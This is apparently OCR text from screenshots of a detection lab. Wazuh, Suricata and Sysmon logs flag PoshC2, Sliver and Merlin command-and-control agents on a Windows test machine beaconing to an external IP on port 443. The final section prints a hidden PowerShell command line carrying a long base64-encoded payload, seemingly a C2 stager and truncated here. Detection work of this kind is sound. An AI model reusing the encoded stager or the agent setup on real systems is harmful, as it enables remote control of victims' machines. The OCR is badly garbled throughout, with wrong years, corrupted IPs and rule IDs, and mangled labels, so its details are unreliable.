Mar 29, 2825 Suricata: Alert - ET MALWARE
§7132:59.853
Mar 29, 2825 Suricata: Alert - ET MALWARE
?7:32:47.792
Mar 29, 2825 Suricata: Alert - ET MALWARE
97132 :43.215
Mar 29, 2825 Suricata: Alert - ET MALWARE
97132 :37.196
Mar 29, 2825 Suricata: Alert - ET MALWARE
17:32:31.199
Mar 29, 2825 Suricata: Alert - ET MALNARE

@
17:32:25.717

PoshC2

PoshC2

PoshC2

PoshC2

PoshC2

PoshC2

PoshC2

PoshC2

17:26:30

Observed

Observed

Observed

Observed

Observed

Observed

Observed

Observed

Mar 29, 2025 @ 17:28:17.515 - Mar 29, 2025 @ 17:33:17.515 per

Default

Default

Default

Default

Default

Default

Default

Default

17:30:00

Structure

Structure

Structure

Structure

Structure

Structure

Structure

Structure

25 hits

Auto b

17:30:30 17:31:00 17:31:30

timestamp per 5 seconds
rule.id

866681

866681

86681

86681

26681

26681

26681

86681

17:32:00

rule.groups

suricata

suricata

suricata

suricata

suricata

suricata

suricata

ids, suricata

17:32:30

17:33:00

data.dest_ip

54.284.182.188

54

54

54

54

54

54

54

.284.

.284.

.284.

284,

284,

284,

.284.

HERGRERS (RE IR

_index

agent.id

agent.1ip

agent.name

data.alert.action

data.alert.category

data.alert.gid

data.alert.metadata.attack_target

data.alert.metadata.confidence

data.alert.metadata.created_at

data.alert.metadata.deployment

data.alert.metadata.malware_family

data.alert.metadata.mitre_tactic_id

data.alert.metadata.mitre_tactic_name

data.alert.metadata.mitre_technique_id

wazuh-alerts-4.x-2825.83.29

Be1

192.168.181.138

windows

allowed

Malware Command and Control Activity Detected

Cclient_Endpeint

Medium

20822_85_86

Perimeter, SSLDecrypt

/. PoshC2

A TABa11

/& Command_And_Control

A T1871

data.alert.metadata.mitre_technigue_name /. Application_Layer_Protocol




Sysmon - sliver {53845

Operational

SergE: 241 () FS4IH

3 HEAREE wmiE ESEAE TESER
® = 2025/3/29 = 09:01:37 Sysmaon 3 Metwork connection detected (rule: NetworkConnect)
® = 2025/3/29 = 09:01:37 Sysmaon 3 Metwork connection detected (rule: NetworkConnect)
@ = 2025/3/29 = 09:01:37 Sysmaon 3 Metwork connection detected (rule: NetworkConnect) cessCreate)
(=3 2025/3/29 5 09:01:35 Sysmaon 7 Image loaded (rule: Imageload)
@ = 2025/3/29 T 09:01:34 Sysmaon 1 Process Create (rule: ProcessCreate)
4 1 7 Bvsmon
—p  EAEH
#
® SF=EN O MLEERX
UL e EUED-UI-£T 13U 1.354.071 7
ProcessGuid {4c29eel2-ef2e-67e7-ee0d-000000001100}
Droeacol-d 114 A0 r
Product -
C - . 3 =+
ompany £ Sliver 3E I E 4R 15
OriginalFileName -
CommandLine "C\Users\user\Downloads\LOVELY_SHOE.exe" Sysmon ﬁﬁﬁ Eé%ﬂil event Iog
CurrentDirectory C\Users\user\Downloads\ H3=1tb == %
= — M|/
User DESKTOP-OBGFSA\user {HISLE event I AR fi& 2% Wazuh Alert
LogonGuid {4c29ee02-0d90-67e4-2c64-030000000000}
Logonld 0x3642¢
TerminalSessionld 1
IntegrityLlevel  Medium
Hashes SHAT=F37B29CED58D109DB0487B33B141F6FB5F370798 MD5=AEE3F24425150E39CBFDO761ACD47454,SHA256=A39B3B11418B7¢
ParentProcessGuid {4c29ee02-0da2-6724-8100-000000001 100}
ParentProcessld 5972
Parentlmage CAWindows\explorer.exe
- ) ParentCommandLine C:\Windows\Explorer.EXE
BRREIRAAS RE A ParentUser DESKTOP-QBGJFS)\user N




Sysmon - merlin {845

Operational Z=&##E8:19 () =40 H

s BEAEE wE EHERE ITiEER

2025/3/29 & 08:55:50 Sysmon 3 Metwork connection detected (rule: MetworkConnect)
OS] 2025/3/2% 5 08:55:22 Sysmon 11 File created (rule: FileCreate)
@ﬁ%ﬂ 2025/3/2% T 08:55:15 Sysman 3 Metwork connection detected (rule: NetworkConnect)
Bk 2025/3/2% T5 08:33:12 Sysmaon 7 Image loaded (rule: ImageLoad)
@ =53, 2025/3/29 T 08:55:12 Sysmon 1 Process Create (rule: ProcessCreate)

HE 30 Svsmon

—3  EHEs
® SEEEMN) () XML IR

+ System

- EventData
RuleName technique_id=T1036,technique_name=Masquerading ﬁ% Z Sliver E"J%E%*Eﬂ;{
UtcTime 2025-03-29 12:55:48.301 E merlin Eﬁi@gﬁﬂ%
ProcessGuid [4c29ee02-edb0-67e7-290d-000000001 100}
Processid 8832 Sysmon B fi§2E % {E event log
Image C:\Users\user\Downloads\merlinAgent-Windows-x64.exe 1EEH:=|: event jﬁ;ﬁﬁﬁﬁé Wazuh Alert
User DESKTOP-QBEGJFSMuser
Protocol tcp
Initiated true
Sourcelslpve  false
Sourcelp 192.168.101.138
SourceHostname -
SourcePort 51559
SourcePortName -

Destinationlslpv6 false
Destinationlp  54.204.182.108
DestinationHostname -
DestinationPort 443

B R AR DestinationPortName -




Sysmon - Posh C2 {5344

Count

3 hits f
Mar 29, 2025 @ 21:07:28.140 - Mar 29, 2025 @ 21:112:28.140 per  Auto e

1.5

1
0.5

C.

21:07:20 21:08:00 21:08:20 21:00:00 21: 2 21:10:30 21:11:00 21:11:30 21:12:00

timestamp per 5 seconds

Time rule.id rule.description rule.groups

g?”ggézzg%g @ 92213 Executable file dropped in folder commonly used by malware sysmon, sysmon_eid11_detections, windows
Mar 29, 2825 @ 92857 Powershell.exe spawned a powershell process which executed a base64 encoded ¢ sysmon, sysmon_eid1_detections, windows
21:18:32.387 ommand

g?r1‘§9,2422%g @ 92213 Executable file dropped in folder commonly used by malware sysmon, sysmon_eid11_detections, windows

t data.win.system.message

Posh C2 7E RLEN I
Sysmon B fif 2% 2% (i event log

&5 2% Wazuh Alert
B3& Malware LI K
Powershell base64 1§ E 4

HERGRERS (RE IR

wr

"Process Create:

RuleName: technigue_id=T1@86, technique_name=PowerShell

UtcTime: 2825-83-29 13:18:31.281

ProcessGuid: {4c29ee@2-T147-67e7-f80d-000000001108}

ProcessId: 18532

Image: C:\Windows\System32\WindowsPowerShelliv1.@8\powershell.exe

FileVersion: 18.8.19841.3996 (WinBuild.168181.8868)

Description: Windows PowerShell

Product: Microsofts Windowse Operating System

Company : Microsoft Corporation

OriginalFileName: PowerShell .EXE

CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe” -Noninteractive -windowstyle hidden -e UwBlAHQALQBFAHQAZQBjAHUAJABPAGSAD|
GBOAGBADABPAGMASQAGAET Ae(QBWAGEACWBZACAALQBTAGMAbWBWAGUATABQAHIAbWE JAGUACWBZACAALQBGAGSACYEjAGUAOWAGAFSAUWBSAHMAJABLAGBALGBOAGUAdAAUAFMAZQBY AHY AaQ)
BjAGUAUABVAGKADGBBAEBAYQBUAGEAZWBIAHIAXQAGADOAUWBLAHIAdGBIAHIAQWELAHIAdABPAGY AaQB jAGEAdABIAFYAYQBSAGKAZ ABRAHQASQBYAGAAQWBhAGWADABIAGEAYWE rACAAPQA)
GAHSAJABBAHIAJQBLAHBAOWBDAFMAEQBZAHQAZOQBtACAATGBIAHQALGBTAGUACGB2AGKAYWEBLAFAADWBPAGAAdABNAGEADGBhAGCAZOBYAFBAOQAGAFMAZOB]AHUACGBPAHQARQBQAHIALWES)
AGBAYWBVAGWATAASACAANWBTAHKACWBBAGUADQAUAEAAZQBBACAAUWBLAHIAdGBpAGMAZ QBQAGBAAQBUAHQATOBhAGAAYOBNAGUACGBdADOAOGBTAGUAYWB1AHIAGQBBAHKAUABYAGSAdABVA)
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